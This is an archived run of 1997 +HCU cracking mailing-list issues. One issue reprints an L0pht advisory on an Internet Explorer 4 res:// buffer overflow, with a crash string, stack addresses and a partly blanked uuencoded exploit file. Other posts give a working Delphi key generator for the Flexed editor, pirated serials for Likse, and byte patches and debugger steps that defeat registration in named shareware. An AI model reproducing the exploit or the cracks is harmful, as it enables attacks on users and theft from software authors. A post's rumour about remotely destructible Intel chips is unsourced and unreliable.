home *** CD-ROM | disk | FTP | other *** search
/ Reverse Code Engineering RCE CD +sandman 2000 / ReverseCodeEngineeringRceCdsandman2000.iso / RCE / Library / +HCU / 061-070.TXT < prev    next >
Text File  |  2000-05-25  |  52KB  |  1,584 lines
  1.  
  2. ========================================================
  3. +HCU Maillist          Issue: 61              11/17/1997
  4. --------------------------------------------------------
  5. Send Articles To:......................... *************
  6. Info, Help, Unsubscription, etc:....... ****************
  7. ========================================================
  8.  
  9. CONTENTS:
  10.  
  11. #1  Subject: OrcFinder(TM)
  12.  
  13. #2  Subject: SoftIce Basics
  14.  
  15. #3  Subject: a little challenge
  16.  
  17. #4  Subject: a little long but very nice
  18.  
  19. ARTICLES:
  20.  
  21. -----#1-------------------------------------------------
  22. Subject: OrcFinder(TM)
  23.  
  24.  
  25. Regarding the ORC riddle:
  26.  
  27. If non HCU-ers find the answer to the riddle, fine.
  28.  
  29. If HCU-ers find the answer (or have found the answer) it should be 
  30. mentioned to HCU-ers alone if the answer reveals his true identity.
  31.  
  32. He has been careful to protect the identities of his HCU-ers, and that 
  33. same respect should be used in return.
  34.  
  35. Just my 2 cents.
  36.  
  37. +gthorne
  38.  
  39. -----#2-------------------------------------------------
  40. Subject: SoftIce Basics
  41.  
  42. Hi all
  43. Am I just stupid or is it impossible to get WIce to write to a file. Say 
  44. for example I want a screen  of SoftIce to  be written to a text file so 
  45. I can examine it later. Can this be done?
  46. Any case, I realy enjoy all the help and info on here.
  47. Tnx to everyone who take time putting there thoughts to paper so to 
  48. speak.
  49.  
  50. Bye
  51. GlorFindeL
  52.  
  53. ______________________________________________________
  54. Get Your Private, Free Email at **********************
  55.  
  56. -----#3-------------------------------------------------
  57. Subject: a little challenge
  58.  
  59. Hello all,
  60.  
  61. there's a funny little program at *************************************
  62.  
  63. it's a diet program. Besides that, what's funny is that I can never
  64. manage to BPX into the exe, but only into vbrun300.dll or GDI, or USER,
  65. etc.
  66.  
  67. Now, I am not *that*  experienced with cracking, but I found this very
  68. strange. I trace and trace and trace, and it never shows up into the
  69. main exe.
  70.  
  71. Could someone take a look? Maybe it's something very simple, but perhaps
  72. it could result in a nice 'lesson' to us all.
  73.  
  74. WAFNA of FCA
  75.  
  76. -----#4-------------------------------------------------
  77. Subject: a little long but very nice
  78.  
  79. Hello all,
  80.  
  81. pls read....
  82.  
  83.  Document:  L0pht Security Advisory
  84.     URL Origin:  ******************************** 
  85.   Release Date:  November 1st, 1997 
  86.    Application:  Microsoft Internet Explorer 4.0 Suite                
  87.       Severity:  Viewing remote HTML content can execute arbitrary
  88. native code 
  89.         Author:  **************** 
  90.  Operating Sys:  Windows 95  
  91.  
  92. -------------------------------------------------------------------------------
  93.  
  94.  ========
  95.  Scenario
  96.  ========
  97.  
  98.   The Microsoft Internet Explorer 4.0 Suite, including all programs
  99. supplied
  100.   with it that read and/or process HTML from either local machines,
  101. intranet 
  102.   machines, or remote internet machines are subject to a buffer overflow
  103. in the
  104.   HTML decoding process. The buffer overflow can cause the application
  105. to page
  106.   fault, or in the worst case, execute arbitrary precompiled native
  107. code. 
  108.  
  109.  =======
  110.  Example
  111.  =======
  112.  
  113.   1. Copy the supplied HTML file(s) into a location that is accessible
  114. via the
  115.      target application. 
  116.   2. Point to it. Look at it.
  117.   3. Click on the link. (or let someone click it for you)
  118.   4. Become aware of what happens to your machine.
  119.   5. Freak out and beg Microsoft to make the bad man stop.
  120.  
  121.  =================
  122.  Technical Details 
  123.  =================
  124.  
  125.   The problem here lies in the deciphering of the URL line format
  126. itself. The
  127.   base HTML library that is used by the Internet Explorer 4.0 Suite and
  128. the
  129.   following programs are vulnerable:
  130.  
  131.         - Outlook Express (both mail and news)
  132.         - Windows Explorer
  133.         - Internet Explorer (different than regular explorer, really)
  134.  
  135.   This problem, because it stems from a programming flaw in the HTML
  136. decoding 
  137.   system, is unaffected by the Explorer "Security Zones" feature. In
  138. other
  139.   words, if you turn on the highest security level for the zone from
  140. where the 
  141.   exploit HTML is being viewed, you are still vulnerable. 
  142.  
  143.   The critical problem here is a buffer overflow in the parsing of a
  144. particular
  145.   new type of URL protocol. The "res://" type of URL is meant to allow
  146. access
  147.   to a local resource embedded in a local DLL file. This is useful for
  148.   archiving entire websites into a DLL and is not, in its truest
  149. concept, a 
  150.   security flaw.
  151.  
  152.   For example, to read something out of the IE4.0 Tour (stored in a DLL)
  153. try
  154.   the following URL: res://ie4tour.dll/page1-6.htm
  155.   
  156.   The buffer overflow is on the actual filename specified. To crash your
  157.   machine go ahead and try res://blahblahblah ... blahblah/ in your
  158. Internet
  159.   Explorer window where the amount of 'blah' equals 265 characters.
  160.  
  161.   The function that goes through the filename and validates it is flawed
  162. on 
  163.   Windows 95. Without checking the length, the filename is uppercased,
  164.   concatenated with '.DLL' if it isn't there already, and in the
  165. process,
  166.   copied into a fixed size buffer.
  167.  
  168.  ========
  169.  Solution
  170.  ========
  171.  
  172.   Currently, there is no solution available for this flaw. You can't set
  173. any
  174.   Internet Explorer options to avoid it, and you are not protected by
  175. any
  176.   level of zone security. Simply don't surf the web, read email or view 
  177.   net news using Internet Explorer 4.0 until Microsoft puts up a hotfix.
  178.  
  179.  ============
  180.  Exploit Code 
  181.  ============
  182.  
  183.  
  184.     Here we go...
  185.     When constructing the exploit we want to try something useful.
  186.     Lets's start with appending text of your choice to AUTOEXEC.BAT...
  187.     (note that running native code lets you do pretty much anything you
  188. want)
  189.  
  190.     Note that the location of the exploit string in the stack is very
  191. important
  192.     and it varies from target application to target application.
  193.     
  194.     Constructing the exploit string:
  195.     Figure out stack location for exploit code...
  196.     
  197.         App                     Loc
  198.         Internet Explorer       0x0057C144
  199.         Windows Explorer        0x0088A0F4
  200.         ...
  201.  
  202.     Yeah, I know that those locations have null bytes in them and you
  203. can't
  204.     put those (or lowercase letters, or CR/LF or 0x07 or anything like
  205. that)
  206.     in the exploit string... but we'll let microsoft fix that for us.
  207. Step thru
  208.     the process to see IE add that extra null character for you. Will
  209. they
  210.     ever cease to amaze...
  211.  
  212.     Put together what you wanna do, tack on the necessary jump addresses
  213. and 
  214.     all that. That's it.
  215.  
  216.  
  217. And now, UUENCODED to preserve freshness:
  218.  
  219. *************************************************************************
  220. * MAKE SURE YOU RUN THIS EXPLOIT WITH __INTERNET__ EXPLORER, _NOT_     
  221. *
  222. * REGULAR OL' WINDOWS EXPLORER. (put it on a website and download it or
  223. *
  224. * click on the IE desktop icon (run iexplore.exe) and type in the name 
  225. *
  226. * of the file into the URL line)  IT WON'T WORK OTHERWISE!!!!          
  227. *
  228. *                                (though it could be made to do so)    
  229. *
  230. ************************************************************************* 
  231.  
  232. ----====/ SNIP
  233.  
  234. section 1 of uuencode 5.20 of file infect.htm    by R.E.M.
  235.  
  236. begin 644 infect.htm
  237. *************************************************************
  238. M/"]T:71L93X-"CPO:&5A9#X-"CQB;V1Y(&)G8V]L;W(](T9&1D9&1B!T97AT
  239. *************************************************************
  240. *************************************************************
  241. *************************************************************
  242. *************************************************************
  243. *************************************************************
  244. M,]NS.5.[#-+G$('K$!"0$%-0N[#*^;__TX/$#)"0D)"[SX#YO__3D)"0N["O
  245. *************************************************************
  246. *************************************************************
  247. *************************************************************
  248. M"B(^#0H\9F]N="!F86-E/2)7:6YG9&EN9W,B('-I>F4]*S8^_SPO9F]N=#X\
  249. *************************************************************
  250. *************************************************************
  251. ->3X-"CPO:'1M;#X-"CX-
  252. `
  253. end
  254. sum -r/size 62455/917 section (from "begin" to "end")
  255. sum -r/size 5779/643 entire input file
  256.  
  257. /====---- SNIP
  258.  
  259.  
  260. A haiku:
  261.  
  262.  Microsoft IE
  263.  Is there no security?
  264.  Not if you ask me.
  265.  
  266. **************** (11/1/97)
  267.  
  268. -------------------------------------------------------------------------------
  269.  
  270. For more L0pht (that's L - zero - P - H - T) advisories check out:
  271. ********************************
  272.  
  273. =====End of Issue 61====================================
  274.  
  275.  
  276.  
  277.  
  278.  
  279. ========================================================
  280. +HCU Maillist          Issue: 62              11/18/1997
  281. --------------------------------------------------------
  282. Send Articles To:......................... *************
  283. Info, Help, Unsubscription, etc:....... ****************
  284. ========================================================
  285.  
  286. CONTENTS:
  287.  
  288. #1  Subject: WeightCm
  289.  
  290. #2  Subject: Likse 1.72
  291.  
  292. #3  Subject: Winice Text File saving.
  293.  
  294. #4  Subject: My first crack
  295.  
  296. #5  Subject: ie4 patching
  297.  
  298. ARTICLES:
  299.  
  300. -----#1-------------------------------------------------
  301. Subject: WeightCm
  302.  
  303. WAFNA;
  304.  
  305.    Here are my notes on WeightCM. 
  306.  
  307. Go to register screen, enter 123123
  308. ctrl-d into Soft-Ice
  309. s ds:0 lffffffff "123123"
  310. bpr ds:xxxxxxxx ds:xxxxxxxx+6 rw
  311. ctrl-d back to program and press enter
  312.  
  313. When Soft-Ice breaks:
  314. ds:si <---= your input
  315. es:di <---= where it will go
  316. bpr es:di es:di+6 rw
  317.  
  318. S-I breaks on repz scansb <--- counts input
  319. S-I breaks on repz movsw  <--- program stuff
  320. S-I breaks on repz movsw  <--- the spot
  321.  
  322. at the spot: (vbrun300(31) CS:958F)
  323. d es:di <---= your input
  324. scan up the data window, real PW is right on top of your input TWICE!
  325.  
  326. Now just shut down the program, re-start and enter the REAL PW number.
  327.  
  328.                                                        Hackmore
  329.  
  330.  
  331. -----#2-------------------------------------------------
  332. Subject: Likse 1.72
  333.  
  334. Hi all!
  335.  
  336. I wonder if anyone of you have met this Likse offline browser and could
  337. crack or even register it with a valid key you got from the author.
  338. Yesterday evening I tried to crack it, but got nowhere, so I thought I
  339. ask if anyone has already worked with this.
  340.  
  341. Annoying features:
  342. - nagscreen,
  343. - you cannot export the htm file to text, the register info says you
  344.   can export only the first 50 lines, but actually the only thing I
  345.   could export is the register info file :(
  346. - if you search for a string in files only the first five hit is
  347.   displayed (even this number is not correct I could see only four
  348.   hits)
  349.  
  350. The reginfo says everything can be unlocked with a correct user key.
  351. Ok, I said lets do some work, deadlisting, looking for the bad guy
  352. string I have found the validation rutin. Patched the jump after it
  353. "Thank you for registration..blahbla" Name and ID written into ini
  354. file. Restart program registration rutin called at the begining to
  355. check for Name and ID read from the file. Patched the jump there too,
  356. program goes on happily, the nag screen gone, but ...oops you still
  357. can not export and the search is still limited. Shit, this will be
  358. longer than I sought :) Ok, lets dive deeper into the key generation
  359. rutin (man, I hate to do this) probably some flags are set there.
  360. After long and unsuccessful Iceing I got really bored with it. The
  361. rutin is long, complex, does a lot of things which has nothing to
  362. do with key validation (at least I think), it uses push address, ret
  363. instead of jumps etc. It might be intentionally complicated but I
  364. think its just a badly written spagetti code.
  365. Ok, I will not get a valid key soon lets give it up and check out
  366. Oscar. It has four keys for 1.x ver, I punch them in. The same shit:
  367. "Thanks for registering..", nagscreen goes, but all the limitations
  368. remain. Ok lets attack from the other direction, I pinpoint the rutins
  369. dealing with the limited functions to look for a flag checking before
  370. they execute the bad guy version etc. Not even a single conditional
  371. jump in them, the limit seems to be hard coded, and no obvious way to
  372. unlock them with a password.
  373.  
  374. It seems to me that the author had a first version with the ability
  375. to unlock with a key, but later due to the appearance of valid keys
  376. on the net he just went for a crippled version. Letting the whole
  377. bazar of registration in it, is a nice touch, certainly lets the
  378. cracker work a lot for nothing. On the other hand he might be just
  379. lazy to rewrite the reginfo file, considering that the
  380. current limitations are not exactly whats written in the info.
  381.  
  382. So my problem is: can this program be unlocked with a certain key
  383. (meaning that I have been fooled completely by the protection) or
  384. the guy says to the normal customers when they call: Ohh, no...
  385. the registration is not working like that, anymore. We will ship
  386. you the complete version instead of the key as soon as possible.
  387. Have a nice day... :)
  388.  
  389. Bye Zer0+
  390.  
  391. PS: Of course I will try to patch the limited functions, but
  392. thats a totally different ball game.
  393.  
  394.  
  395. -----#3-------------------------------------------------
  396. Subject: Winice Text File saving.
  397.  
  398. Hi GlorFindeL,
  399.  
  400. >Subject: SoftIce Basics
  401. >Hi all
  402. >Am I just stupid or is it impossible to get WIce to write to a file. Say 
  403. >for example I want a screen  of SoftIce to  be written to a text file so 
  404.  
  405. You can't 'save' the softice's screen itself (you can print it),
  406. but the softice's history.
  407. First, fire symbol loader and go to softice initialization settings.
  408. Put a history buffer size more of 0Ko, obviously :-) (default is 256, not
  409. enough
  410. for big listing).
  411. Second, fire winice / ntice. Put your breakpoints and all to arrive at the
  412. wanted code. Disassemble with for example, U CS:EIP L 1000
  413. Third, CTRL-D immediately to return to W95/NT, fire again symbol loader
  414. and choose File/Save Softice History As...
  415. And the saved file contains your code, winice loading, all you type (even if
  416. you're tracing WITHOUT code window on), etc...
  417. Cya.
  418. FootSteps.
  419.  
  420.  
  421.  
  422.  
  423. -----#4-------------------------------------------------
  424. Subject: My first crack
  425.  
  426. Hi, All!
  427.  
  428. Well, at last :-)))
  429.  
  430. I don't know if you remember some messages I sent about cracking apps
  431. using VCL. VCL stands for "visual component library", a library used
  432. by recent Borland visual languages as Delphi and BC++ Builder.
  433.  
  434. This kind of environments use a proprietary format of resources, that
  435. appear as "RCDATA" when listed by RWS.=20
  436. This resources contain "forms". Forms, in Delphi jargon are the
  437. windows of the program, and all the info about their design are stored
  438. there. When a Delphi app is starting, the initialization code creates
  439. the forms, loading the required information from the resources.
  440. Sometimes this loading is deferred for forms not used very often, that
  441. are created and destroyed as needed.
  442. This system is the best and the worse of Delphi. It allows a very fast
  443. way of programming but, for big apps, it can slow down the loading
  444. time.
  445.  
  446. The really interesting part of this information is that the address of
  447. the routines -called in response to user actions over the elements of
  448. the form- are binded at run time by name. So knowing theese names we
  449. can find the addresses.
  450. If you have cracked Delphi apps, you surely have experienced a long
  451. chain of calls inside the library, from the breakpoints on the API
  452. calls to the "do something" code.=20
  453. I hoped that those addresses could help pinpointing the code.
  454.  
  455. +ReZiDeNt suggested me to test this method against a "real world"
  456. program: Flexed, an HTML editor written in Delphi and I installed it.
  457. But the weeks passed and I hadn't time to work on it.
  458. When I started it yesterday I found a nasty "Your evaluation period
  459. has expired" :-(
  460.  
  461. I had convinced an old Windos programmer to join me making a new tool
  462. for spying all the information about Delphi and BC++B forms. I'm going
  463. to publish it on the web, but it needs some final touchs, so please
  464. wait some days. BTW, I'm going to be netless for a few days, so be
  465. patient if I can't reply any question about this as quickly as I would
  466. like.
  467.  
  468. I used this tool to obtain the information about "TSplashForm" and
  469. this is what I got:
  470.  
  471. -------------------------------
  472. object SplashForm: TSplashForm
  473.   Left =3D 240
  474.   Top =3D 150
  475.   ...
  476.  
  477. // lot of blahblahblah here
  478.  
  479.     ...
  480.     TabOrder =3D 0
  481.   end
  482.   object RegButton: TButton
  483.     Left =3D 200
  484.     Top =3D 176
  485.     Width =3D 97
  486.     Height =3D 25
  487.     Caption =3D 'Register'
  488.     TabOrder =3D 1
  489.     OnClick =3D RegButtonClick
  490.   end
  491. end
  492. ---------------------
  493. (you can also use RWS or simply hexedit it, but converted to text is
  494. clearer)
  495.  
  496. Well. It seems to be here, near the end:
  497. OnClick =3D RegButtonClick
  498.  
  499. This is what happens when the user presses the button with the caption
  500. "Register".
  501.  
  502. Using Hex Workshop, I looked for "RegButtonClick" and I found it
  503. twice. The second is the resource itself, the first is within an
  504. address table:
  505.  
  506. 000A4990 ____ ____ ____ BC57 4A00 0E52 6567 4275 ______.WJ..RegBu
  507. 000A49A0 7474 6F6E 436C 6963 6B__ ____ ____ ____ ttonClick_______
  508.  
  509. Now look at the magic numbers before the name. There is an 0E byte
  510. indicating the length of "RegButtonClick" (14 characters) and even
  511. before, an address: 004ABC57.
  512. WDasm seems to think that this is a too long file and deserves
  513. unassembling it correctly but with Softice we can bpx this and...
  514. right! it stops at this point just when we push the button.
  515.  
  516. Tracing some instruction forward you'll find an "standard stack frame"
  517. in 44ECC8. From this point, there are some calls to show a dialog
  518. asking for the user name and a register key.=20
  519.  
  520. You can enter the name you choose, and anything as the key, after
  521. BPXing 44ED69. Here, a call to a routine compares two strings.
  522. D EDX will show the fake key you entered and D EAX, the correct
  523. calculated key.=20
  524.  
  525. Err... I'm still learning to use SoftIce so I was tempted to stop
  526. here. But, no!! a little cocktail with spanish whisky. I don't know if
  527. it's more similar to vodka-martini or Wafna's kerosene... but it
  528. worked :*)
  529.  
  530. The encrytion algorithm is in 0044E714, called a little before than
  531. the str-comp.
  532. Well, there's a lot of additional details I needed to handle, but I'm
  533. sure you are not very interested in them right now O:-)
  534. I'll write an essay with everything and send it to Fravia... maybe the
  535. protection scheme is not very interesting but I think the *cracking
  536. scheme* is.
  537.  
  538. I thought it would be nice to write the key generator in Delphi
  539. itself.
  540. But don't worry, it's less than 6kb.
  541. If you have Delphi 32bits, save this as HCUFE32.dpr, load and run.
  542.  
  543. If you want to translate it to other language, take a look at
  544. 00402B94, the source of random number generator. The "seed" must be
  545. initialized to 0EEEEH.
  546.  
  547. ------------------------------------
  548. program HCUFE32;
  549. {$APPTYPE CONSOLE}
  550. uses
  551.   SysUtils;
  552.  
  553. function Convert( sUserName: string ): string;
  554. var
  555.   n: Integer;
  556.   IterateRandom: Integer;
  557.   Calculated: Integer;
  558.   Selected: Integer;
  559.   sFiltered: string;
  560.   b1,b2: Byte;
  561. begin
  562.   sUserName :=3D UpperCase( sUserName );
  563.   sFiltered :=3D '';
  564.   for n :=3D 1 to Length( sUserName ) do begin
  565.     b1 :=3D Ord( sUserName[ n ] ) + $d0;
  566.     b2 :=3D b1 + 239;
  567.     if ( b1 < $a ) or
  568.        ( b2 < $1a ) then
  569.      sFiltered :=3D sFiltered + sUserName[ n ];
  570.    end;
  571.   Result :=3D '';
  572.   if sFiltered =3D '' then
  573.     Exit;
  574.   RandSeed :=3D $EEEE;
  575.   for n :=3D 1 to 12 do begin
  576.     Selected :=3D Ord( sFiltered[ Succ( Random( Length( sFiltered ) ) )
  577. ] );
  578.     for IterateRandom :=3D 1 to Selected do
  579.       Calculated :=3D Random( 10 );
  580.     Result :=3D Result + IntToStr( Calculated );
  581.   end;
  582. end;
  583.  
  584. var
  585.   s: string;
  586. begin
  587.   Writeln;
  588.   Write( 'User name: ' );
  589.   Readln( s );
  590.   s :=3D Convert( s );
  591.   if s =3D '' then
  592.     Writeln( 'Incorrect user name... sorry, try again O:-)' )
  593.   else
  594.     Writeln( 'Your user key is ' + s + ' courtesy of +HCU.' );
  595.   Write( 'Press RETURN to return...' );
  596.   Readln
  597. end.
  598. -----------------------------------------------------------------
  599.  
  600. Thanks to +ReZiDeNt for his help and encouragement ;)
  601.  
  602. greetings
  603.  
  604.     +trurl
  605.  
  606. P.D. I've seen a message here about MultiEdit. This is not a Delphi
  607. app. Maybe some DLLs are written with Delphi, but it doesn't use VCL.
  608. As you have seen just a little above, it's possible to write apps or
  609. DLLs in Delphi without using VCL at all.
  610.  
  611. -----#5-------------------------------------------------
  612. Subject: ie4 patching
  613.  
  614.  
  615. The bug in IE (apparently a more general bug than that) is supposedly 
  616. fixed whith the patch below. Here is a copy of the message from the 
  617. bugtraq mailing list.
  618.  
  619. I do not have IE4, nor do I care to install it for a long time, so 
  620. test this at your own risk.
  621.  
  622. +gthorne
  623.  
  624. --- message here ---
  625.  
  626. The patch will be to the mshtml control which is the core of Internet
  627. Explorer and is what the other applications mentioned by l0pht will be
  628. using.  Hence the patch to IE will fix the other apps.
  629.  
  630. John Wiltshire
  631.  
  632. > -----Original Message-----
  633. > From: Richard Trott ******************************
  634. > Sent: Friday, November 14, 1997 5:39 AM
  635. > To:   ********************
  636. > Subject:      IE4.0 patch
  637. >
  638. > Microsoft released a patch for the recently-reported (via l0pht--see
  639. > ******************************** if you missed it on bugtraq) buffer
  640. > overflow in Win95 with regard to res:// type URLs.
  641. >
  642. > Does anyone know if the patch
  643. > ************************************************************** to get
  644. > it)
  645. > actually fixes Win95, or if it's just an IE patch?  The l0pht advisory
  646. > indicated that other apps were vulnerable because the problem was with
  647. > Win95, not IE.  (Easy, if not-so-thorough, way to test:  use Outlook
  648. > Express (or Windows Explorer) to view a bogus res:// URL of longer
  649. > than
  650. > 256 characters and watch it crash Outlook Express (or Windows
  651. > Explorer).
  652. > Install patch above.  Try again.  Does it still crash?  I don't have a
  653. > Win95 machine at my disposal to test this with...)
  654. >
  655. > Richard Trott
  656. > ***********************
  657.  
  658. =====End of Issue 62====================================
  659.  
  660.  
  661.  
  662.  
  663.  
  664. ========================================================
  665. +HCU Maillist          Issue: 63              11/19/1997
  666. --------------------------------------------------------
  667. Send Articles To:......................... *************
  668. Info, Help, Unsubscription, etc:....... ****************
  669. ========================================================
  670.  
  671. CONTENTS:
  672.  
  673. #1  Subject: Solving +Orc riddle?
  674.  
  675. #2  Subject: chez.com
  676.  
  677. #3  Subject: Likse 1.72
  678.  
  679. ARTICLES:
  680.  
  681. -----#1-------------------------------------------------
  682. Subject: Solving +Orc riddle?
  683.  
  684. Hail +All:
  685.  
  686. More than anything else, the honor to meet +Orc and all the other
  687. +personalities holds more appeal than chasing a cyberspace riddle.  
  688. What if we held a year 2000 convention (kind of like a class reunion)
  689. with the guests of honor being the +Master and his famous +three
  690. disciples of fravia+, +gthorne, and +Sync?  Would anyone show up for
  691. the occasion?  Each name you come across in this ML and the essay
  692. submissions is a riddle. We could solve all the riddles and the 
  693. personality behind the masks at one time.
  694.  
  695. Think about it Hackmore.  Why did you abstain from voting on your own
  696. survey?  Rather than buy a software, would you spend the money on a 
  697. plane ticket to meet +Orc if it was possible?
  698.  
  699. wlc
  700.  
  701.  
  702. -----#2-------------------------------------------------
  703. Subject: chez.com
  704.  
  705. Hello all,
  706.  
  707. remember ************* The only place where you get 10MB of free web
  708. space and an e-mail address which you can access via POP3 protocol?
  709.  
  710. Well, they are now limiting new users to French people, ie, you need to
  711. have an e-mail address which ends in .fr
  712.  
  713. Since most people on the +HCU mail-list seem to be in Europe, does
  714. anyone here have a .fr address? (it would only be used to receive a
  715. single e-mail from chez.com; then you would reply for me, and that would
  716. validate my address).
  717.  
  718. TIA,
  719.  
  720. WAFNA
  721.  
  722. -----#3-------------------------------------------------
  723. Subject: Likse 1.72
  724.  
  725. Likse V1.72 (c) Faico 16/32 bits VERSION WORKING REG
  726. ********************
  727. NAME:CKL!1997
  728. SN:2909679-2590 SINGLE LIC
  729. SN:2909679-159  SITE LIC
  730. SN:2909679-4694 ROYALTY FREE
  731. SN:2909679-4210 LICENSE
  732.  
  733. DEEP TRACE NEEDED,CATCH HMEMCPY
  734. MAIN PROT SCHEM IS A CMP EAX,[EBP-14] WHER EAX IS HEXED OF FIRST
  735. PART OF THE SN AND EBP-14 THE HEXED OF FAKE
  736. IT'S LIKE:
  737. CMP EAX,[EBP-14]
  738. SETZ BL
  739. ....
  740. IF FIRST SN PART OK CONTINUE AND AFTER A CALL THE SECOND TEST
  741. AS CMP EAX,[EBP-18]
  742. WITH HEXED OF SECOND PART
  743. IF WRONG TEST REJUMP UP AND TEST SAME IF SINGLE,SITE,ROYALTY,LIC
  744. 4X EACH HEXED IN EAX
  745. TIME LOOSE TO GENERATE ALL LICENSED VERSION
  746. done in 5 minutes
  747.  
  748. ______________________________________________________
  749. Get Your Private, Free Email at **********************
  750.  
  751. =====End of Issue 63====================================
  752.  
  753.  
  754.  
  755.  
  756.  
  757. ========================================================
  758. +HCU Maillist          Issue: 64              11/20/1997
  759. --------------------------------------------------------
  760. Send Articles To:......................... *************
  761. Info, Help, Unsubscription, etc:....... ****************
  762. ========================================================
  763.  
  764. CONTENTS:
  765.  
  766. #1  Subject: 2k Party and FTP
  767.  
  768. #2  Subject: Yet another site-grabber
  769.  
  770. #3  Subject: pentium bug
  771.  
  772. #4  Subject: possible sighting of unusual behavoiur by (possibly) Likse? ;-)
  773.  
  774. ARTICLES:
  775.  
  776. -----#1-------------------------------------------------
  777. Subject: 2k Party and FTP
  778.  
  779.  
  780. Fravia and myself would probably go for the idea of a party - we both 
  781. love a good beer :)
  782.  
  783. +ORC and our original HCU counterpart(s) are always an enigma however. 
  784. I think that even if we did figure out who +ORC is, and even if he met 
  785. Fravia or myself, it would be another ice age before we could get him 
  786. to show up.
  787.  
  788. I suppose any of you who tried the new ftp site (listed as FTP2 below 
  789. - it was hacked by someone with the fun litle f00f bug and has been 
  790. redone.
  791.  
  792. The address below works, and when i get a chance I will update my 
  793. pages to reflect this.
  794.  
  795. For fun, I have set up an incoming directory there for you guys.
  796. Don't overload it, we only have so much space, but when you guys 
  797. discuss an important software tool here, feel free to up it there if 
  798. you lack someplace to put things.
  799.  
  800. I reserve the right to move things around (or make space if the site 
  801. gets full since i am not the only person with access by removing a few 
  802. things)
  803.  
  804. Take care
  805.  
  806. +gthorne
  807.  
  808. /*****************************************************\
  809.  
  810.            Greythorne The Technomancer
  811.  
  812.   WebSite: *******************************
  813.    (AKA:)  ************************************
  814.    (IP:)   ****************************
  815.   Gateway: *************************************
  816.   Old Mirror: ****************************** 
  817.   FTP1:    ******************************************
  818.   FTP2:    *******************************************
  819.  
  820. \*****************************************************/
  821.  
  822.  
  823. -----#2-------------------------------------------------
  824. Subject: Yet another site-grabber
  825.  
  826. Hi!
  827.  
  828. Iternet Marauder is another program to download entire sites. It's not
  829. very lengthy (750kb unzipped). Speed is reasonable. Easy to use.
  830. Version 1.4 is downloadable at any simtelnet mirror:
  831.  
  832. ....simtelnet/win95/inet/mdr14.zip
  833.  
  834. It's also unexpensive, $10... err, you can also patch at 401842,
  835. replacing:
  836.  
  837. :00401842 55    push ebp
  838. :00401843 33C9  xor ecx, ecx
  839. ....
  840.  
  841. simply with:
  842.  
  843. :00401842 33C0  xor eax,eax=20
  844. :00401844 C3    ret
  845. ....
  846.  
  847. This also removes some limitations.
  848.  
  849. bye
  850.  
  851.     +trurl
  852.  
  853. -----#3-------------------------------------------------
  854. Subject: pentium bug
  855.  
  856. Hello all,
  857.  
  858. On 10 Nov 97 at 7:21, +HCU ML wrote:
  859.  
  860. > #7  Subject: pentium bug
  861. > -----#7-------------------------------------------------
  862. > Subject: pentium bug
  863. > 
  864. > Hi all!
  865. > 
  866. > I just came across the info:
  867. > the  F0, 0F, C7, C8 instruction codes freeze a pentium processor and
  868. > only the reset helps. This translates to the LOCK CMPXCHG EAX
  869. > instruction which is not a privileged instuction so you can do it in
  870. > all rings. With this you can kill a multiuser system (NT or linux)
  871. > instantly. The only way to bring it back is going to the machine and
  872. > press reset. That much about secure operation systems on a PC. BTW I
  873. > have 486 and PPro so I could not check the info.
  874.  
  875. Well, allow me to introduce myself: I live in South America, where I 
  876. work at an Embassy as a diplomat, and, because of that, I have 
  877. contacts with lots of people in greedy govt agencies.
  878.  
  879. This having been said, I should add that I am not a spy among 
  880. crackers.... I began with a sinclair in 1980, moved to a Vic20 in 
  881. 1982, evolved to an Apple in 1984, and went to the PC in 1987. I 
  882. began using machine code on the Vic20, and I always liked it, 
  883. although on the PC it seems quite strange.....
  884.  
  885. Anyway, what I wanted to tell you is something I got from a source in 
  886. an American agency about INTEL chips. Apparently, espc those who 
  887. ended up used for defense (the source mentioned Iraq), have something 
  888. inbedded in them by which they can be disabled by a certain series of 
  889. variations in voltage from the power line. Not all chips have this, 
  890. and this 'protection' would enable the US govt to destroy ('explode' 
  891. and 'blow up' were the words used by my source) the chips in certain 
  892. areas.
  893.  
  894. Now, if that is true, it's awfully clever.......
  895.  
  896. WAFNA
  897.  
  898. -----#4-------------------------------------------------
  899. Subject: possible sighting of unusual behavoiur by (possibly) Likse? ;-)
  900.  
  901. Hello +Zer0,
  902.  
  903. > I wonder if anyone of you have met this Likse offline browser and
  904. > could crack or even register it with a valid key you got from the
  905. > author. Yesterday evening I tried to crack it, but got nowhere, so I
  906. > thought I ask if anyone has already worked with this.
  907.  
  908.          Hmm.....awhile ago I was looking for a suitable (eg 
  909. crackable :-)) offline browser for a project - many that I found were
  910. simply deadware - but I found a few useful ones which seemed
  911. crackable, including Likse. Anyway, I didn't like Likse for a number
  912. of reasons, but I'm pretty sure I did crack it (I say pretty sure
  913. because I think I remember a very unusual scheme it used - at least
  914. for a Windows program - but I don't have any notes made of it,
  915. probably because I cracked it in the wee hours and was only half-awake
  916. at best :-)) - if I remember correctly, Likse actaully *patched
  917. itself* - I've not seen this behaviour before or since in a Windoze
  918. program, but I do remember thinking how unusual it was. I can't be
  919. absolutely certain it was Likse that used that, but I think it might
  920. be - so you might want to take a quick look at any suspicous file I/O
  921. routines.
  922.  
  923. Cheers,
  924. +ReZiDeNt
  925.  
  926. =====End of Issue 64====================================
  927.  
  928.  
  929.  
  930.  
  931.  
  932. ========================================================
  933. +HCU Maillist          Issue: 65              11/21/1997
  934. --------------------------------------------------------
  935. Send Articles To:......................... *************
  936. Info, Help, Unsubscription, etc:....... ****************
  937. ========================================================
  938.  
  939. CONTENTS:
  940.  
  941. #1  Subject: Assembly
  942.  
  943. #2  Subject: Re: Likse
  944.  
  945. ARTICLES:
  946.  
  947. -----#1-------------------------------------------------
  948. Subject: Assembly
  949.  
  950. Hello all,
  951.  
  952. for those who want to read the latest on INTEL's undocumented features, 
  953. check ******************************** (text only) or
  954. ****************** (with images).
  955.  
  956. IMHO, that would be worth a note on Fravia's pages re protections -
  957. imagine something based on a INTEL undocumented feature, something
  958. really strange..... that would block away most crackers.....
  959.  
  960. WAFNA
  961.  
  962. -----#2-------------------------------------------------
  963. Subject: Re: Likse
  964.  
  965. Hi all!
  966.  
  967. Somebody wrote:
  968. >Likse V1.72 (c) Faico 16/32 bits VERSION WORKING REG
  969. *********************
  970. >NAME:CKL!1997
  971. >SN:2909679-2590 SINGLE LIC
  972. >SN:2909679-159  SITE LIC
  973. >SN:2909679-4694 ROYALTY FREE
  974. >SN:2909679-4210 LICENSE
  975.  
  976. Unfortunately, these keys are not working with the Likse version
  977. I downloaded yesterday again. (Zip file 394 406 bytes, exe file
  978. 550 912 bytes. My fault that I forgot to give the exact
  979. specifications of the target previously.)
